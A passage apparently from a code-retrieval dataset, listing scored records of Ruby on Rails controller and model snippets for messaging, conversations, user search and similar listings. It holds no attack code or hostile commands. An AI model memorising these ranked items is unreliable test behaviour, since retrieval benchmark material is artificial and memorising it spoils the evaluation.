"text": "def search_conversations(query)\n search(\"search/conversations\", query)\n end",
"title": ""
},
{
"docid": "6a20cb174f7c16183a8b50b799fcf853",
"score": "0.5267107",
"text": "def search_conversations(query)\n search(\"search/conversations\", query)\n end",
"title": ""
},
{
"docid": "99b19e79a4e9e592ae6aa9aa375c15fa",
"score": "0.5266494",
"text": "def index\n # @messages = Message.where(to_user_id: current_user.id)\n @messages = current_user.incoming_messages.order(created_at: :desc)\n end",
"title": ""
},
{
"docid": "1e3cf002b6dae255ff852912f1288cc5",
"score": "0.52650726",
"text": "def index\n \n @conversations = Conversation.where(\"sender_id = ? OR receiver_id = ?\", current_user.id, current_user.id)\n @conversation1 = @conversations.includes(:messages).references(:messages).order('messages.created_at DESC')\n @user = @conversation1.includes(:receiver).references(:receiver).includes(:sender).references(:sender)\n.select(\"conversations.id,conversations.sender_id,conversations.receiver_id,messages.id, messages.conversation_id, messages.user_id, messages.body\n ,users.name,users.email,users.id\")\n \nrender :json => @user \nend",
"title": ""
},
{
"docid": "8928caf388fe98fb85dadf428f8a1c85",
"score": "0.52541274",
"text": "def index\n\t\tsession[:conversations] ||= []\n\n\t\t@users = User.all.where.not(id: current_user)\n\t\t@conversations = Conversation.includes(:recipient, :messages).find(session[:conversations])\n\tend",
"title": ""
},
{
"docid": "e78765539c27fa224a7fc180ac7e5d55",
"score": "0.5243334",
"text": "def find_all_previous_searches\n search=[]\n if logged_in? && current_user.id == Person.find(params[:id]).user.id\n search = UserSearch.all(:order => \"created_at DESC\", :conditions => { :user_id => current_user.id})\n end\n @recent_searches = search\n end",
"title": ""
},
{
"docid": "ca3ca55e4f6584443f9c0ffe6591b2c5",
"score": "0.5240229",
"text": "def messages_with(chat_user)\n # Message.where(\"(sender_id = ? and receiver_id = ?) or (sender_id = ? and receiver_id = ?)\", self.id, chat_user, chat_user, self.id).order(:created_at)\n # Message.where(sender:User.first,receiver:Admin.first).or(Message.where(receiver:User.first,sender:Admin.first))\n # Message.where(\"(sender: ? ,receiver: ? ).or(Message.where(receiver: ? ,sender: ? ))\", self, chat_user, self, chat_user).order(:created_at)\n Message.where(sender: self,receiver: chat_user).or(Message.where(sender: chat_user ,receiver: self)).order(:created_at)\n end",
"title": ""
},
{
"docid": "06a6e8fe625e2366d9e739491ec607d6",
"score": "0.5225497",
"text": "def index\n\t\tuserID = whoAreYou()\n\t\t#grab a list of the users friends\n\t\t\t\t\t\t\t\t\t#change this to userID\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\tmyListofFriends = Follow.where({:user_id => userID, :Favorite => true}) #only grab friends who are my favorite\n\t\t#this will hold a collection of most recent messages for each of the user's friends\n\t\tmyFriendsConversations =[]\n\t \tmyListofFriends.each do |friend|\n\t\t#this block of code finds the most recent 20 message for most recent convo for a given user\n\t\t\t#find 20 conversation id's for the friend\n\t\t myConvo = UserConversationMmTable.where({:user_id => friend.follow_id}).order(\"updated_at DESC\").limit(20)\n\t\t #this array will hold the 20 messages\n\t\t #iterate through the 20 most recent conversations\n\t\t myConvo.each do |conversation|\n\t\t\t #find the most recent message for each conversation\n\t\t\t #remember this can't be an array\n\t\t\t myMessage = Message.where(:conversation_id => conversation.conversation_id).order(\"updated_at DESC\").limit(1)\n\t\t\t #append the most recent message\n\t\t\t myFriendsConversations << myMessage[0]\n\t\t end\n\t\tend\n\t\t\n\t\t\n\t\t#######################################################################################################################\n\t\t#i must also append to myFriendsConversations list the conversations that I am involved in as well\n\t\t\t\t\t\t\t\t\t\t\t\t#change this to userID\n\t\tmyConvo = UserConversationMmTable.where({:user_id => userID}).order(\"updated_at DESC\").limit(20)\n\t\t#this array will hold the 20 messages\n\t\t#iterate through the 20 most recent conversations\n\t\tmyConvo.each do |conversation|\n\t\t\t #find the most recent message for each conversation\n\t\t\t #remember this can't be an array\n\t\t\t myMessage = Message.where(:conversation_id => conversation.conversation_id).order(\"updated_at DESC\").limit(1)\n\t\t\t #append the most recent message\n\t\t\t myFriendsConversations << myMessage[0]\n\t\t end\n\t\t #######################################################################################################################\n\t\t \n\t\t \n\t\t #sort the messages by created at with most recent coming up first\n\t\t myFriendsConversations.sort_by!{|message| message.created_at}.reverse!\n\t\t #deliver only 25 messages to the user\n\t\t myFriendsConversations = myFriendsConversations.take(25)\t\t \n\t\t #create JSON\n\t\t @myJSON=[]\n\t\t \t#store message object attributes in a a dictionary\n\t\t\tmyFriendsConversations.each do |message|\n\t\t\t\tdiction = {}\n\t\t\t\tdiction[:conversation_id] = message.conversation_id\n\t\t\t\tlinkingUserConvoList = UserConversationMmTable.where(:conversation_id => message.conversation_id)\n\t\t\t\t\t#iterate this list to find the names of the users\n\t\t\t\t\trecipient = \"\"\n\t\t\t\t\tlinkingUserConvoList.each do |record|\n\t\t\t\t\t\tmyUser = User.find(record.user_id) #find the user\n\t\t\t\t\t\tfirstName = myUser.first_name\n\t\t\t\t\t\tname = firstName + \". \" \n\t\t\t\t\t\trecipient << name\n\t\t\t\t\tend\n\t\t\t\tdiction[:recipient] = recipient\n\t\t\t\tdiction[:created_at] = message.created_at\n\t\t\t\tdiction[:id] = message.id\n\t\t\t\tdiction[:message_content] = message.message_content\n\t\t\t\tdiction[:user_id] = message.user_id\n\t\t\t\t\t#look up the user's name\n\t\t\t\t\tmyUser = User.find(message.user_id)\n\t\t\t\t\tfirstName = myUser.first_name\n\t\t\t\t\tlastName = myUser.last_name\n\t\t\t\t\tname = firstName + \" \" + lastName\n\t\t\t\tdiction[:full_name] = name\n\t\t\t\t#append the dictionary into the array\n\t\t\t\t@myJSON << diction\n\t\t\tend\n\t\t\t\n\t\t render :json => @myJSON\n\t\t \t\n\tend",
"title": ""
},
{
"docid": "01a13621acc3a091d6891785195312b6",
"score": "0.52244186",
"text": "def show\n @conversation = Conversation.find(params[:id])\n @messages = @conversation.messages.order('created_at asc')\n @messages.where(recipient_id: current_user.id).update_all(is_new: false)\n end",
"title": ""
},
{
"docid": "74a1833640787e88742d80bd8ff85be9",
"score": "0.5221882",
"text": "def sort_members\n members.index_by(&:id).values_at(*user_ids)\n end",
"title": ""
},
{
"docid": "f84952e82cd89e784dd384c558962104",
"score": "0.52180624",
"text": "def index\n user = User.find_by(id: params[:user_id].to_i)\n sent_status = to_boolean(params[:sent])\n\n if params[:sent]\n messages = user.messages.where(sent: sent_status).order('send_at_datetime ASC')\n render json: {messages: messages}\n else\n messages = user.messages\n render json: {messages: messages}\n end\n end",
"title": ""
},
{
"docid": "de4ddc2801172bb81d1ca8bb0b36b1e6",
"score": "0.5216886",
"text": "def index\n @conversation = Conversation.where(\"(conversations.sender_id = ? AND conversations.receiver_id =?) OR (conversations.sender_id = ? AND conversations.receiver_id =?)\", current_user.id, params[:userId].to_i, params[:userId].to_i, current_user.id)\n @messages = @conversation.present? ? @conversation.first.messages.for_display : []\n @message = Message.new\n @user = User.find(params[:userId])\n end",
"title": ""
},
{
"docid": "42f90c80ee2f8af1ee9a2a10fb4e5bbe",
"score": "0.5210756",
"text": "def index\n find_conversation\n @conversation_messages = policy_scope(@conversation.messages).includes(:sender).order(:id)\n @conversation_messages\n .not_of_user(current_user)\n .update_all(is_read: true)\n end",
"title": ""
},
{
"docid": "9e3383ba3cb1a072e25cac7d87422bf9",
"score": "0.5207354",
"text": "def index\n @conversations = current_user.conversations.joins(:messages).distinct\n end",
"title": ""
},
{
"docid": "151919badd9b7620506bf0bddfccace8",
"score": "0.5206103",
"text": "def index\n\n if current_user\n\n @user = current_user\n @friends = @user.friends\n @mystatuses = @user.statuses\n @feed = []\n @friends.each do |friend|\n @feed += friend.statuses\n end\n combined = @feed + @mystatuses\n\n @statuses = combined.sort_by(&:created_at).reverse\n\n # @conversations = Conversation.all\n\n\n\n \n\n\n else\n redirect_to(new_user_registration_path)\n end\n\n end",
"title": ""
},
{
"docid": "f61cfb535587dddf329dae7bcd4f30d4",
"score": "0.52031505",
"text": "def timeline(params = nil)\n following_plus_me = following.map(&:author_id)\n following_plus_me << self.author.id\n Update.where(:author_id => following_plus_me).order(['created_at', 'descending'])\n end",
"title": ""
},
{
"docid": "191d965322a523be63ba8c2c5ddd7677",
"score": "0.51926666",
"text": "def user_collaboration_search(q, limit=10)\n if q.present? and q.length > 1\n already_exists_ids = []\n already_exists_emails = []\n # add owner\n already_exists_ids << self.user_id\n # add colaborators\n if self.users.present?\n already_exists_ids << self.users.map{|x| x.id}\n end\n # add invitations\n pending = Invitation.pending_by_story(self.id)\n if pending.present?\n already_exists_emails << pending.map{|x| x.to_email}\n end\n\n already_exists_ids.flatten!\n already_exists_emails.flatten!\n\n sql = \"\"\n if already_exists_ids.present? && already_exists_emails.present?\n sql = \"!(id in (:ids) or email in (:emails)) and \"\n elsif already_exists_ids.present?\n sql = \"!(id in (:ids)) and \"\n elsif already_exists_emails.present?\n sql = \"!(email in (:emails)) and \"\n end\n sql << \"(nickname like :search or email_no_domain like :search)\"\n users = User.where([sql,\n :ids => already_exists_ids.uniq,\n :emails => already_exists_emails.uniq,\n :search => \"%#{q}%\"])\n .limit(limit)\n return users\n end\n end",
"title": ""
},
{
"docid": "771c58e85354aa4a0097a46ada875cf7",
"score": "0.51908517",
"text": "def index\n @messages = Message.includes(:member_to).includes(:member_from).all\n end",
"title": ""
},
{
"docid": "7bdb1f14e8f81d72e045350cda854d51",
"score": "0.5190501",
"text": "def show\n @channel = Channel.find(params[:id])\n @channels = Channel.all\n\n search = params[:search]\n @messages = @channel.messages.where{ ((content.like \"%#{search}%\") | (username.like \"%#{search}%\")) }\n\n if params[:date]\n last = Time.zone.parse(params[:date]).end_of_day\n @messages = @messages.where{ sended_at <= last }\n @date = last\n end\n\n @messages = @messages.page(params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @messages }\n end\n end",
"title": ""
},
{
"docid": "d0cdae1364a7c0a0092d556c1be2f16c",
"score": "0.5190266",
"text": "def sent_messages\n Message.where(sender: self).order('created_at DESC')\n end",
"title": ""
},
{
"docid": "8d431584785ec9a35977e789e1e45bde",
"score": "0.51785994",
"text": "def conversations\n Conversation.where(\"sender_id = ? OR recipient_id = ?\", id, id)\n end",
"title": ""
},
{
"docid": "08a41b13f0072e6e9fce711fda8ffae8",
"score": "0.5177365",
"text": "def cache_active_users\n conversation.cache_active_users!\n end",
"title": ""
},
{
"docid": "3f35c8a2ee4403fd769d72f44d311861",
"score": "0.51737535",
"text": "def index\n @users_conversations = UsersConversation.all\n end",
"title": ""
},
{
"docid": "dd878e9cc0768f1201966446ba3dfbc1",
"score": "0.5167131",
"text": "def admin_conversations_search(options = {})\n if block_given?\n Pagination::Cursor.new(self, :admin_conversations_search, options).each do |page|\n yield page\n end\n else\n post('admin.conversations.search', options)\n end\n end",
"title": ""
},
{
"docid": "69088aeb56f3244740dae30129d15c32",
"score": "0.5160971",
"text": "def index\n @off_meetings = OffMeeting.all.order(\"updated_at DESC\").page(params[:new]).per(5)\n @search = OffMeeting.search(params[:q])\n\n ##フォロー中のユーザーのオフ会を取得\n if user_signed_in?\n following_users = current_user.following.includes(:off_meetings)\n\n @following_off_meetings = []\n following_users.each do |user|\n @following_off_meetings << user.off_meetings\n end\n\n @following_off_meetings.flatten!\n @following_off_meetings.sort_by! {|off_meeting| off_meeting.updated_at}\n @following_off_meetings.reverse!\n @following_off_meetings = Kaminari.paginate_array(@following_off_meetings).page(params[:following]).per(5)\n end\n end",
"title": ""
},
{
"docid": "3d8f7572d5da71864535875d191775e6",
"score": "0.51479405",
"text": "def get_messages(start_time=30.day.ago,end_time=7.day.from_now)\n self.player_messages.where(:to_user_id=>self.user_id, :created_at=> (start_time .. end_time)).from_budge.order('deliver_at DESC')\n end",
"title": ""
},
{
"docid": "bd13497039e1fb19b925feec23e3aa84",
"score": "0.51434404",
"text": "def index\n # @messages = Message.all\n @messages = current_user.inbox_messages.order('created_at desc').group_by(&:conversation_id)\n end",
"title": ""
},
{
"docid": "92eead212b26e9bf9d0054752ea8b65f",
"score": "0.5131687",
"text": "def following_users\n @usersfollowed = current_user.followed_users.to(1000)\n if params[:search] and !params[:search].blank?\n @usersfollowed = current_user.followed_users.where(\"name like ? or realname like ? or surname like ?\",\n \"#{params[:search]}%\",\"#{params[:search]}%\",\"#{params[:search]}%\").to(50)\n end\n end",
"title": ""
},
{
"docid": "a67860434ef64a5afb3ad5c04b4c0f82",
"score": "0.51308167",
"text": "def ultimate_matches\n @user = User.where(id: first_date_match_user_ids).where(id: lifestyle_matches)\n end",
"title": ""
},
{
"docid": "26b2ed845aa676f8f9d4f1788a8c45a6",
"score": "0.51296806",
"text": "def revisions\n Revision.where(:reply_id => id).order('created_at DESC')\n end",
"title": ""
},
{
"docid": "ef99589259db26e9fb3dacc14bfa33c0",
"score": "0.51268244",
"text": "def search_new\n users = @church.members.search(params[:search]).where.not(id: @church.user_group_converts.pluck(:user_id))\n render json: users.name_sorted.limit(10).to_json(only: [:id, :full_name, :email, :avatar_url, :mention_key])\n end",
"title": ""
},
{
"docid": "2532cd7eb40a3afe80fe9b5ca1a4c9c0",
"score": "0.5119896",
"text": "def index\n @messages = Chat.find(params[:chat_id]).messages.order(date: :asc)\n\n @messages.each do |message|\n message.position = message.author.name == @current_user.name ? 'right' : 'left'\n end\n end",
"title": ""
},
{
"docid": "5e4be15c76d9badbd1a2ecdd08b6676a",
"score": "0.5106618",
"text": "def for_edit(user)\n Announcement\n .active\n .where(\"(starts_at is null or starts_at < :now)\", :now => DateTime.now)\n .order('created_at desc')\n end",
"title": ""
},
{
"docid": "b11dc25d2f605647c84810ffb0730313",
"score": "0.51017714",
"text": "def show\n @participants = @member\n .participants\n .joins(:activity)\n .paginate(page: params[:page], per_page: 25)\n\n if params[:past]\n @participants = @participants\n .where('activities.end <= ? OR (activities.end IS NULL AND activities.start <= ?)', Time.zone.now, Time.zone.now)\n .order('activities.start DESC')\n else\n @participants = @participants\n .where('activities.end >= ? OR (activities.end IS NULL AND activities.start >= ?)', Time.zone.now, Time.zone.now)\n .order('activities.start ASC')\n end\n end",
"title": ""
},
{
"docid": "ca1e9ffdccd03a4358e55dd08e7a40d7",
"score": "0.5098118",
"text": "def index\n unless fragment_exist?(\"recently_active\")\n update_find_options = {\n :limit => 10, \n :order => \"id DESC\",\n :conditions => [\"created_at > ?\", 1.week.ago],\n :include => :user\n }\n @updates = [\n Observation.all(update_find_options),\n Identification.all(update_find_options),\n Post.published.all(update_find_options),\n Comment.all(update_find_options)\n ].flatten.sort{|a,b| b.created_at <=> a.created_at}.group_by(&:user)\n end\n\n find_options = {\n :page => params[:page] || 1, :order => 'login'\n }\n @q = params[:q].to_s\n if logged_in? && !@q.blank?\n wildcard_q = @q.size == 1 ? \"#{@q}%\" : \"%#{@q.downcase}%\"\n if @q =~ Authentication.email_regex\n find_options[:conditions] = [\"email = ?\", @q]\n elsif @q =~ /\\w+\\s+\\w+/\n find_options[:conditions] = [\"lower(name) LIKE ?\", wildcard_q]\n else\n find_options[:conditions] = [\"lower(login) LIKE ? OR lower(name) LIKE ?\", wildcard_q, wildcard_q]\n end\n end\n @alphabet = %w\"a b c d e f g h i j k l m n o p q r s t u v w x y z\"\n if (@letter = params[:letter]) && @alphabet.include?(@letter.downcase)\n find_options.update(:conditions => [\"login LIKE ?\", \"#{params[:letter].first}%\"])\n end\n @users = User.active.paginate(find_options)\n counts_for_users\n end",
"title": ""
},
{
"docid": "ffe7b421b35ee8a2030d6d9eaa8ccc5b",
"score": "0.50969297",
"text": "def specific_watched_users\n watched_organizations = self.watchings.map { |watching| watching.organization }\n watched_users = watched_organizations.compact.map { |organization| organization.user }\n #sorts users according to organization score\n watched_users_sorted = watched_users.sort_by {|user| user.org_score}\n watched_users_twitter = watched_users_sorted.reverse.compact.map { |user| user.twitteruser }\n watched_users_twitter.compact\n # cut_off_twitteruser_array = watched_users_twitter[0..10]\n end",
"title": ""
},
{
"docid": "925ecdb117a8be6d19aec892a1f8b150",
"score": "0.5094135",
"text": "def sent\n user_id = params.fetch(:user_id, nil)\n\n if user_id.blank?\n invalid_params([:user_id]) and return\n end\n\n user = User.find(params[:user_id])\n\n query = user.sent_messages.where([\"messages.created_at >= ?\", @n_days.days.ago.beginning_of_day]).order(\"messages.created_at desc\")\n\n @messages = query.includes(:sender).paginate(page: @page, per_page: @per_page)\n render 'index'\n end",
"title": ""
},
{
"docid": "2e161f44970b79f1bc062879eed2c069",
"score": "0.5091233",
"text": "def index\n init_displayed_user(current_user.id)\n @incomingmessages = Message.where(\"receiver=?\", current_user.email).order(\"created_at DESC\")\n @outgoingmessages = Message.where(\"sender=?\", current_user.email).order(\"created_at DESC\")\n end",
"title": ""
},
{
"docid": "afdbaf8ff27ea5c24e8f7a859d0c20d4",
"score": "0.50911057",
"text": "def index\n @mailchimp_updates = MailchimpUpdate.order('fired_at DESC').paginate(page: params[:page])\n end",
"title": ""
},
{
"docid": "1ec2b76455a32ba7781a37a96a01c76f",
"score": "0.50774574",
"text": "def conversation_list\n Conversation.user_conversation(self.id)\n end",
"title": ""
},
{
"docid": "fc2f7e4e1b63a2329da516f471fa0ac3",
"score": "0.5077103",
"text": "def index\n @friend_messages = current_user.messages.to_a.sort_by(&:created_at).reverse\n @index_type = nil\n mark_messages_as_read(@friend_messages)\n end",
"title": ""
},
{
"docid": "3ac8ed3b5b0bf5d12a0dfb2c9e6ab33e",
"score": "0.5076204",
"text": "def index\n if current_user == @conversation.sender || current_user == @conversation.recipient\n @other = current_user == @conversation.sender ? @conversation.recipient : @conversation.sender\n @messages = @conversation.messages.order(\"created_at DESC\")\n else\n redirect_to conversations_path, alert: \"You cannot view this conversation.\"\n end\n end",
"title": ""
},
{
"docid": "ad5375f42b552644b3603788c17cfab6",
"score": "0.5075011",
"text": "def execute(input_set = nil)\n resp = super(input_set)\n results = SearchContactsByUpdatedSinceResultSet.new(resp)\n return results\n end",
"title": ""
},
{
"docid": "7855871d39c46e43dd7d121f586f1d92",
"score": "0.50717515",
"text": "def lookup(s, deep=true)\n return @statuses unless status_id = extract_tweet_id(s)\n ingest(status_id)\n @logger.debug \"now we have the partial conversation, all the way up the original: #{first_id}\"\n if deep\n loop do\n @logger.debug \"searching twitter for mentions of our users\"\n count = users.inject(0) do |a,user|\n a + search_for_mentions(user.screen_name)\n end\n @logger.debug \"saved #{count} tweets during that pass\"\n break if count == 0\n end\n end\n @logger.debug \"all done. the conversation has #{@statuses.size} tweets amongst #{users.size} users\"\n @statuses.sort! {|a,b| a.created_at <=> b.created_at }\n end",
"title": ""
},
{
"docid": "4763edd9ee5264b73d56d309d703e972",
"score": "0.507114",
"text": "def load_a_conversation\n @last_timestamp = params[:last_timestamp].to_time rescue nil\n @per_page = 10\n \n if @friend = (User.find(params[:friend_id]) rescue nil)\n if @last_timestamp\n @messages = Message.load_conversation(current_user, @friend).where(\"messages.created_at < ? \", @last_timestamp).limit(@per_page)\n else\n @messages = Message.load_conversation(current_user, @friend).limit(@per_page)\n\n if first_msg = @messages.first\n first_msg.mark_as_read_unread!(current_user, \"read\")\n end\n end\n else \n @messages = []\n end\n\n respond_to do |format|\n format.html { render :layout => false }\n format.json { render :layout => false }\n end\n end",
"title": ""
},
{
"docid": "4ec47ca7836a1ea02fb0efb983f48241",
"score": "0.5071119",
"text": "def river\n @results = @user.nil? ? [] : @user.track_things.collect { |thing|\n perform_search([InfoRequestEvent], thing.track_query, thing.params[:feed_sortby], nil).results\n }.flatten.sort { |a,b| b[:model].created_at <=> a[:model].created_at }.first(20)\n end",
"title": ""
},
{
"docid": "7ca2796b41b979377d4eff91f0fdbdb4",
"score": "0.50657904",
"text": "def listMembers\n\n @members=Member.order(\"members.created_at ASC\")\n \n end",
"title": ""
},
{
"docid": "c99f29f78921b53f5f9cc340c3b734c9",
"score": "0.506435",
"text": "def displayed_statuses\n statuses = []\n statuses += self.query #.all\n \n if @myself == @user # TODO: I don't think the 'self' below is necessary => check\n self.follows.each { |follows| statuses += query(follows).all } # ORDER BY clause not really necessary as we sort below anyway.\n end\n \n statuses.sort! { |x, y| y.created_at <=> x.created_at } # statuses.sort_by! { |status| -status.created_at }\n statuses[0..10] # statuses.take(10)\n end",
"title": ""
},
{
"docid": "7c8ab637e5d96c3d81ac2b49efe69122",
"score": "0.5060562",
"text": "def invites\n TeamMember.where(:team_id => id).where(:accepted => 0).order('role ASC,accepted_at ASC')\n end",
"title": ""
},
{
"docid": "c179cdc398226d868b482dbd8fc80350",
"score": "0.5054132",
"text": "def index \n @direct_messages = DirectMessage.where(\"author_id = ? OR receiver_id = ?\", current_user.id, current_user.id)\n @users = User.where.not(id: current_user.id)\n end",
"title": ""
},
{
"docid": "3a2dc446f3c8dd6e0fc935b8177d70a9",
"score": "0.5048285",
"text": "def contacts\n @contacts = []\n\n # Search current_user as sender\n Message.where(sender_id: current_user.id).find_each do |message|\n has_contact = false\n @contacts.each do |contact|\n # If find partner and post match\n if contact.partner_id==message.receiver_id && contact.post_id==message.post_id then\n # If message time earlier than this message time\n if (contact.latest_message_time<=>message.created_at)<0 then\n contact.latest_message_time = message.created_at\n end\n has_contact = true\n end\n end\n\n # If haven't added partner to list contact, then create and append the new contact\n unless has_contact then\n new_contact = Contact.new(message.receiver_id, User.find_by_id(message.receiver_id) , message.post_id, message.created_at)\n new_contact.post = Post.find_by_id(message.post_id)\n new_contact.book = Book.find_by_id(new_contact.post.book_id)\n @contacts.append(new_contact)\n end\n end\n\n # Search current_user as receiver\n Message.where(receiver_id: current_user.id).find_each do |message|\n has_contact = false\n @contacts.each do |contact|\n # If find partner and post match\n if contact.partner_id==message.sender_id && contact.post_id==message.post_id then\n # If message time earlier than this message time\n if (contact.latest_message_time<=>message.created_at)<0 then\n contact.latest_message_time = message.created_at\n end\n has_contact = true\n end\n end\n\n # If haven't added partner to list contact, then create and append the new contact\n unless has_contact then\n new_contact = Contact.new(message.sender_id, User.find_by_id(message.sender_id) , message.post_id, message.created_at)\n new_contact.post = Post.find_by_id(message.post_id)\n new_contact.book = Book.find_by_id(new_contact.post.book_id)\n @contacts.append(new_contact)\n end\n end\n\n # Sort the conversation by message time\n @contacts.sort! do |b, a|\n a.latest_message_time <=> b.latest_message_time\n end\n @talk_to = User.new\n end",
"title": ""
}
] |
4210edf7c26e3646a4b4b363cd8f1259 | GET /arbeitspaketvorgaengers GET /arbeitspaketvorgaengers.json | [
{
"docid": "94afcd7d746ca73e85166670132cdeb5",
"score": "0.6857685",
"text": "def index\n @arbeitspaketvorgaengers = Arbeitspaketvorgaenger.all\n end",
"title": ""
}
] | [
{
"docid": "fa1c0adcfc2b5b0a280b594b1bac8ed6",
"score": "0.68106693",
"text": "def index\n @egivings = Egiving.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @egivings }\n end\n end",
"title": ""
},
{
"docid": "fc73f983604c4ea1b86ae6e93ed2ffa5",
"score": "0.6647039",
"text": "def index\n @viajes = Viaje.all\n render json: @viajes\n end",
"title": ""
},
{
"docid": "0e9e08cf3cbb141c282e25241063c2b0",
"score": "0.6609159",
"text": "def index\n @geeks = Geek.all\n render json: @geeks\n end",
"title": ""
},
{
"docid": "e06b50b6bd3b61d1af1c30fafd121d39",
"score": "0.65224093",
"text": "def index\n @artikels = Artikel.all\n\n render json: @artikels\n end",
"title": ""
},
{
"docid": "29776d63e4bd26ffb8ce8ad004df2f60",
"score": "0.6467696",
"text": "def index\n @passengers = Passenger.all\n\n respond_to do |format|\n format.html\n format.json { render json: @passengers }\n end\n end",
"title": ""
},
{
"docid": "10e665a2cf67477bcdc08803a6d68856",
"score": "0.64536387",
"text": "def show\n @emergencia = Emergencia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @emergencia }\n end\n end",
"title": ""
},
{
"docid": "1c47946dc140bb146739d3abf8c4c993",
"score": "0.64508504",
"text": "def index\n @programmers = Programmer.all\n render json: @programmers\n end",
"title": ""
},
{
"docid": "ae3b1ff541d17e21d5fca8b1873ad5f7",
"score": "0.64185315",
"text": "def show\n @estadorden = Estadorden.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estadorden }\n end\n end",
"title": ""
},
{
"docid": "bda4f58eb51b218d1d1c656f54c35121",
"score": "0.63899124",
"text": "def index\n @keditos = Kedito.all\n\n render json: @keditos\n end",
"title": ""
},
{
"docid": "5e1be10b1248fa732549fa55d85c0e0b",
"score": "0.6389836",
"text": "def index\n @racers = Racer.all\n\n render json: @racers\n end",
"title": ""
},
{
"docid": "49ba69c47852ec5b5f399eb2e6938323",
"score": "0.637352",
"text": "def index\n @angels = Angel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @angels }\n end\n end",
"title": ""
},
{
"docid": "c5fd2ba5a64d01539a70c6cc8fbddcc4",
"score": "0.636033",
"text": "def riders\n @current_tab = \"Meetings\"\n \n sess = Patron::Session.new\n sess.base_url = \"http://online.equipe.com/\"\n #http://online.equipe.com/api/v1/meetings.json\n response = sess.get \"api/v1/meetings/\" + params[:id].to_s + \"/riders.json\"\n @meetings = JSON.parse response.body\n \n \n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @meetings }\n end\n \n end",
"title": ""
},
{
"docid": "55661ff5a7a662de6c34c647d1e2ee73",
"score": "0.63571584",
"text": "def index\n @beers = Beer.all\n\n render json: @beers\n end",
"title": ""
},
{
"docid": "8a3909d88579c56307271a9b26ef32ea",
"score": "0.6341318",
"text": "def show\n render json: @beer\n end",
"title": ""
},
{
"docid": "fe854865c5b76eb863642255e42e93da",
"score": "0.6318934",
"text": "def index\n @beers = Beer.all\n respond_to do |f|\n f.html\n f.json { render json: @beers}\n end\n end",
"title": ""
},
{
"docid": "cbb8e141590cc29c65a297381bd87acb",
"score": "0.6314825",
"text": "def index\n @vendas = Venda.all\n\n render json: @vendas\n end",
"title": ""
},
{
"docid": "9ffbbbf6c58001f509a932d594c2e067",
"score": "0.63114554",
"text": "def index\n @partners = Partner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @partners }\n end\n end",
"title": ""
},
{
"docid": "e7c4cadea62e659324d34e29cfe44f79",
"score": "0.6304879",
"text": "def index\n @editions = Edition.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @editions }\n end\n end",
"title": ""
},
{
"docid": "323ace5243591a1357d600f04440dc45",
"score": "0.6301394",
"text": "def show\n @vereador = Vereador.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vereador }\n end\n end",
"title": ""
},
{
"docid": "7b7a44b359404ff3443e2bb18ad4a56e",
"score": "0.6296475",
"text": "def index\n @komentarzs = Komentarz.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @komentarzs }\n end\n end",
"title": ""
},
{
"docid": "e69bc57d2dad452124eb602c20c254bb",
"score": "0.6295569",
"text": "def show\n @erabat = Erabat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @erabat }\n end\n end",
"title": ""
},
{
"docid": "621b3e5531c3c09b908883912b96a7d5",
"score": "0.62922835",
"text": "def index\n @partners = Partner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @partners }\n end\n end",
"title": ""
},
{
"docid": "0b8d1eace71f360201d4d5ed317630d5",
"score": "0.62905055",
"text": "def show\n @egreso = Egreso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @egreso }\n end\n end",
"title": ""
},
{
"docid": "0b8d1eace71f360201d4d5ed317630d5",
"score": "0.62905055",
"text": "def show\n @egreso = Egreso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @egreso }\n end\n end",
"title": ""
},
{
"docid": "5a33dea57c74f6cc5dcfe8c8c1d1fa44",
"score": "0.6288027",
"text": "def index\n @engines = Engine.all\n\n render json: @engines\n end",
"title": ""
},
{
"docid": "69ad3f2d98d5bde545cf315074ff9b0c",
"score": "0.6284794",
"text": "def index\n @letters = Letter.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @letters }\n end\n end",
"title": ""
},
{
"docid": "cc1706c456d5582cf8d1c22eb6dfe5c8",
"score": "0.62800384",
"text": "def show\n @licenca_de_software = LicencaDeSoftware.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @licenca_de_software }\n end\n end",
"title": ""
},
{
"docid": "b6e57174cb69cb6659e2e5bb315caadc",
"score": "0.6276463",
"text": "def index\n beers = @beer.get_beers(beer_params.to_h, @current_user)\n\n render json: {\n status: beers[:status],\n beers: beers[:beers],\n errors: beers[:errors]\n }\n end",
"title": ""
},
{
"docid": "a32644cb99c07c3564cdcde29bbb708d",
"score": "0.62754",
"text": "def index\n @departaments = Departament.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @departaments }\n end\n end",
"title": ""
},
{
"docid": "746b32ff56ddf19be4a85eb928cff85c",
"score": "0.6271066",
"text": "def show\n @konten = Konten.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @konten }\n end\n end",
"title": ""
},
{
"docid": "d144515f40616fcd4071bc6074af11d5",
"score": "0.62678266",
"text": "def index\n @clientes = Cliente.all\n render json: @clientes\n end",
"title": ""
},
{
"docid": "6989d00bbce442902239e9a3cac1c238",
"score": "0.6242534",
"text": "def show\n @bewertung = Bewertung.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bewertung }\n end\n end",
"title": ""
},
{
"docid": "5cd229237df368a91d2f3277c4746257",
"score": "0.624042",
"text": "def show\n @enlist = Enlist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @enlist }\n end\n end",
"title": ""
},
{
"docid": "1c0ec9465e7eedd8a73bc73552455edb",
